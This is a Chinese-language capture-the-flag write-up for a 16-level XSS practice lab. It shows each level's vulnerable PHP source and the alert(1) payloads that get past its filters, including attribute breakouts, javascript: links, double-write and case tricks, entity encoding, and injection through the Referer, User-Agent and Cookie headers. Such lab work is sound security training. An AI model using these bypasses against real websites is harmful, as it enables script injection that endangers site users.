XSS挑战赛--Writeup(共16题)
XSS挑戰賽--Writeup(共16題)
Level-1
Level-2
Level-3
Level-4
Level-5
Level-6
Level-7
Level-8
Level-9
Level-10
Level-11
Level-12
Level-13
Level-14
Level-15
Level-16
Level-1
源碼:
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level2.php?keyword=test"; } </script> <title>歡迎來到level1</title> </head> <body> <h1 align=center>歡迎來到level1</h1> <?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>歡迎用戶".$str."</h2>"; ?> <center><img src=level1.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>"; ?> </body> </html>第一題就不多說了哈,直接在url后面接上,過關第一題。
<script>alert(1)</script>
注:()中數字不需要加引號,字符串需要加引號
Level-2
源碼:
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level3.php?writing=wait"; } </script> <title>歡迎來到level2</title> </head> <body> <h1 align=center>歡迎來到level2</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜索"/> </form> </center>'; ?> <center><img src=level2.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>"; ?> </body> </html>解題思路:
首先我們直接輸入js代碼,看看會發生什么,使用開發者工具輔助查看
我們在審查元素中看到我們的js代碼被輸入到value的引號之中,無法執行,因此,我們需要閉合單引號與尖括號
Payload:
"><script>alert(1)</script><" 或者 " οnmοuseοver=alert(1)<"Level-3
源碼:
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level4.php?keyword=try harder!"; } </script> <title>歡迎來到level3</title> </head> <body> <h1 align=center>歡迎來到level3</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 /> </form> </center>"; ?> <center><img src=level3.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>"; ?> </body> </html>解題思路:
我們從源碼觀察得知,這里使用了htmlspecialchars函數
把預定義的字符轉換為 了HTML 實體
用來構造的主要語句
value='".htmlspecialchars($str)."'所以前面所使用的">就會無效,我們這里就閉合’(因為htmlspecial函數的默認配置是不過濾單引號的,所以這里可以利用單引號閉合)
Payload:
' οnmοuseοver=alert(1)空格 為了直觀,這里的空格是漢字,利用時是鍵盤上的空格。如果不加空格,它會認為'是onmouseover后面值的一部分,輸入其他字符也一樣,它只會認為這是值的一部分,所以會影響alert(1)這個命令 ' οnmοuseοver=alert(1) '這個和上面的原理是一樣的,就是加了個單引號閉合后面的單引號而已 或者 ' οnmοuseοver='alert(1) 和最后面的'>閉合 或者 ' οnmοuseοver='alert(1)' 自己閉合后,因為已經固定值就是alert(1),所以后面多出的'沒有影響 或者 ' οnmοuseοver=alert(1)// 這里的//是js里的注釋,因為alert是js代碼所以//可以注釋后面的'> 等等...注:onmouseover后面的值的引號要么兩邊都有,沒有就兩邊都沒有
Level-4
源碼:
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level5.php?keyword=find a way out!"; } </script> <title>歡迎來到level4</title> </head> <body> <h1 align=center>歡迎來到level4</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level4.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str3)."</h3>"; ?> </body> </html>分析:
由源碼可知,這里將接收到的值中的<與>符號進行了過濾,替換為空,但這里沒有對value的值使用htmlspecialchars,所以僅僅是<與>不可用解題思路:
我們可以不使用<與>進行繞過Payload:
" οnmοuseοver=alert(1)空格 " οnmοuseοver=alert(1) " 或者 " οnmοuseοver="alert(1) 或者 " οnmοuseοver="alert(1)" 或者 " οnmοuseοver=alert(1)// 或者 " οnfοcus=alert(1) autofocus=" 構造一個輸入到文本框后出現相應的事件 等等...Level-5
源碼:
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level6.php?keyword=break it out!"; } </script> <title>歡迎來到level5</title> </head> <body> <h1 align=center>歡迎來到level5</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level5.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str3)."</h3>"; ?> </body> </html>分析:
源碼使用了strtolower函數將,所有字符轉為小寫;使用str_replace函數,將接收到的值中的<script>替換為<scr_ipt>,on替換為o_n
解題思路:
這次過濾了<script>與on,不能使用js事件了。但沒有過濾<與>,因此我們可以使用偽協議來構造
Payload:
"><iframe src=javascript:alert(1)> 這個執行后會無法跳出進入下一關的頁面 或者 "><a href=javascript:alert(1)> 或者 "> <a href="javascript:alert(1)">1stPeak</a> 或者 "> <a href="javascript:%61lert(1)">1stPeak</a>// 這里的%61是url編碼后的a 等等...Level-6
源碼:
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level7.php?keyword=move up!"; } </script> <title>歡迎來到level6</title> </head> <body> <h1 align=center>歡迎來到level6</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level6.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level6.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str6)."</h3>"; ?> </body> </html>分析:
這里過濾了<script>、on、src、data、href
解題思路:
但是并沒有對<與>進行過濾,并且沒有大小寫的過濾,所以,將上一題的Payload稍加修改,嘿嘿嘿
Payload:
"><iframe SRC=javascript:alert(1)> 這個執行后會無法跳出進入下一關的頁面 或者 "><a Href=javascript:alert(1)> 或者 "> <a HRef="javascript:alert(1)">1stPeak</a> 或者 "> <a HREF="javascript:%61lert(1)">1stPeak</a>// 等等...Level-7
源碼:
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level8.php?keyword=nice try!"; } </script> <title>歡迎來到level7</title> </head> <body> <h1 align=center>歡迎來到level7</h1> <?php ini_set("display_errors", 0); $str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level7.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level7.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str6)."</h3>"; ?> </body> </html>分析:
源碼在level-6的基礎上,增加了strtolower函數,接收的值全都轉為小寫再進行檢查過濾
解題思路:
我們還是可以用<與>,于是我們嘗試雙寫繞過
Payload:
"><sscriptcript>alert(1)</scrscriptipt> 或者 " oonnmouseover=alert(1)空格 " oonnmouseover=alert(1) " 或者 "><a hrhrefef=javascriscriptpt:alert(1)>1stPeak</a> 等等...Level-8
源碼:
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level9.php?keyword=not bad!"; } </script> <title>歡迎來到level8</title> </head> <body> <h1 align=center>歡迎來到level8</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center> <form action=level8.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情鏈接 /> </form> </center>'; ?> <?phpecho '<center><BR><a href="'.$str7.'">友情鏈接</a></center>'; ?> <center><img src=level8.jpg></center> <?php echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>"; ?> </body> </html>分析:
這里在Level-7的基礎上,將原本script、on、src、data、href、"替換為空的值分別改為替換成scr_ipt、o_n、sr_c、da_ta、hr_ef、",所以,我們無法使用雙寫繞過了
解題思路:
我們仔細看看源碼,發現輸出點在a標簽內,href屬性中。雖然htmlspecialchars函數在value的值中,但我們用不到input屬性,雖然源碼替換了很多字符,但時<,>,單引號,% ,# ,& 符號沒有被過濾
javascript會被替換成javasc_rpt,我們可以使用r來代替r ,HTML字符實體轉換:https://www.qqxiuzi.cn/bianma/zifushiti.php
Payload:
javascript:alert(1) 或者 javascript:alert(1) 等等...Level-9
源碼:
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level10.php?keyword=well done!"; } </script> <title>歡迎來到level9</title> </head> <body> <h1 align=center>歡迎來到level9</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center> <form action=level9.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情鏈接 /> </form> </center>'; ?> <?php if(false===strpos($str7,'http://')) {echo '<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>';} else {echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>'; } ?> <center><img src=level9.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>"; ?> </body> </html>分析:
這一級別的源代碼在Level-8的基礎上,增加了false===strpos($str7,‘http://’),用來過濾沒有http://字符的url
解題思路:
這里我們可以通過//注釋來進行繞過
Payload:
javascript:alert(1)//http://www.1stpeak.com 利用注釋// javascript:alert(1)//http://www.1stPeak.cn 或者 javascript:http://1stpeak.com%0dalert(1) 不利用注釋//,其中的%0d是回車Level-10
源碼:
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level11.php?keyword=good job!"; } </script> <title>歡迎來到level10</title> </head> <body> <h1 align=center>歡迎來到level10</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level10.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>"; ?> </body> </html>分析:
從源碼發現需要兩個參數,一個是keyword,一個是t_sort,<與>都被轉換成空,還有三個hidden的隱藏輸入框,所以我們可以從隱藏的輸入框入手,構造Payload
Payload:
keyword=1st&t_sort="type="text" οnclick="alert(1)" 帶入源碼構造結果:<input name="t_sort" value=""type="text" οnclick="alert(1)"" type="hidden"> 或者 keyword=1&t_sort="type="text" οnclick=alert(1) " 帶入源碼構造結果:<input name="t_sort" value=""type="text" οnclick="alert(1)" type="hidden"> 或者 keyword=1st&t_sort="type="text" οnmοuseοver="alert(1)" 帶入源碼構造結果:<input name="t_sort" value=""type="text" οnmοuseοver="alert(1)" " type="hidden"> 等等...Level-11
源碼:
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level12.php?keyword=good job!"; } </script> <title>歡迎來到level11</title> </head> <body> <h1 align=center>歡迎來到level11</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level11.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>"; ?> </body> </html>分析:
這里比Level-11上多了$str11=$_SERVER['HTTP_REFERER'],這里我們需要進行對http請求頭進行xss注入所以我們利用burp進行構造Payload,同時注意,http請求頭注入時<與>也是會被過濾的。
Payload:
構造原理:
構造圖:
結果圖:
還可以使用其它http請求頭的xss注入代碼
Level-12
源碼:
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level13.php?keyword=good job!"; } </script> <title>歡迎來到level12</title> </head> <body> <h1 align=center>歡迎來到level12</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ua" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level12.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>"; ?> </body> </html>分析:
這一關和Level-11關原理一樣,只不過這里是$str11=$_SERVER['HTTP_USER_AGENT'];,所以我們抓包修改user-agent進行xss注入
Payload:
User-Agent: " οnclick=alert(1) type="text" 或者 User-Agent: " οnclick="alert(1)" type="text"第一個Payload演示圖:
Level-13
源碼:
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level14.php"; } </script> <title>歡迎來到level13</title> </head> <body> <h1 align=center>歡迎來到level13</h1> <?php setcookie("user", "call me maybe?", time()+3600); ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_COOKIE["user"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_cook" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level13.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>"; ?> </body> </html>分析:
這個和level-11和level-12原理一樣,修改一下cookie的值就好
Payload:
Cookie: user=" οnclick=alert(1) type="text"; SESSIONID=519523290; PHPSESSID=1mqhmsa56pdk0unn25fa8l6ana 或者 Cookie: user=" οnclick="alert(1)" type="text"; SESSIONID=519523290; PHPSESSID=1mqhmsa56pdk0unn25fa8l6ana第一個Payload演示圖:
Level-14
源碼:
<html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>歡迎來到level14</title> </head> <body> <h1 align=center>歡迎來到level14</h1> <center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>這關成功后不會自動跳轉。成功者<a href=/xsschallenge/level15.php?src=1.gif>點我進level15</a></center> </body> </html>分析:
還分析個啥子…
Level-15
源碼:
<html ng-app> <head><meta charset="utf-8"><script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level16.php?keyword=test"; } </script> <title>歡迎來到level15</title> </head> <h1 align=center>歡迎來到第15關,自己想個辦法走出去吧!</h1> <p align=center><img src=level15.png></p> <?php ini_set("display_errors", 0); $str = $_GET["src"]; echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; ?>分析:
你們自己想辦法走出去吧,哈哈哈
emmm,有會的朋友,請評論告知一下~
Level-16
源碼:
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level17.php?arg01=a&arg02=b"; } </script> <title>歡迎來到level16</title> </head> <body> <h1 align=center>歡迎來到level16</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script"," ",$str); $str3=str_replace(" "," ",$str2); $str4=str_replace("/"," ",$str3); $str5=str_replace(" "," ",$str4); echo "<center>".$str5."</center>"; ?> <center><img src=level16.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str5)."</h3>"; ?> </body> </html>分析:
這里使用了大小寫guolv,將script、空格、/替換為 
在html代碼中 和空格的區別:
在html代碼中每輸入一個轉義字符 就表示一個空格,輸入9個 ,頁面中就顯示9個空格位置
而在html代碼中輸入空格,不管輸入多少個空格,最終在頁面中顯示的空格位置只有一個
例如:hmtl代碼中,在兩個字之間輸入9個空格與輸入9個轉義字符 的效果對比圖
效果圖:
解題思路:
源碼沒有過濾<與>,我們可以使用其它標簽配合%0d,%0a等url編碼繞過:
%0d表示回車符號
%0a表示換行符號
Payload:
<img%0dsrc=1%0dοnerrοr=alert(1)> 或者 <iframe%0asrc=www.buzhidao.com%0dοnmοuseοver=alert(1)></iframe> 或者 <svg%0aοnlοad=alert(1)></svg> 等等...總結
以上是生活随笔為你收集整理的XSS挑战赛--Writeup(共16题)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 《最终幻想 14》×《糖豆人》
- 下一篇: 招商银行怎么样(在招商银行工作是一种怎样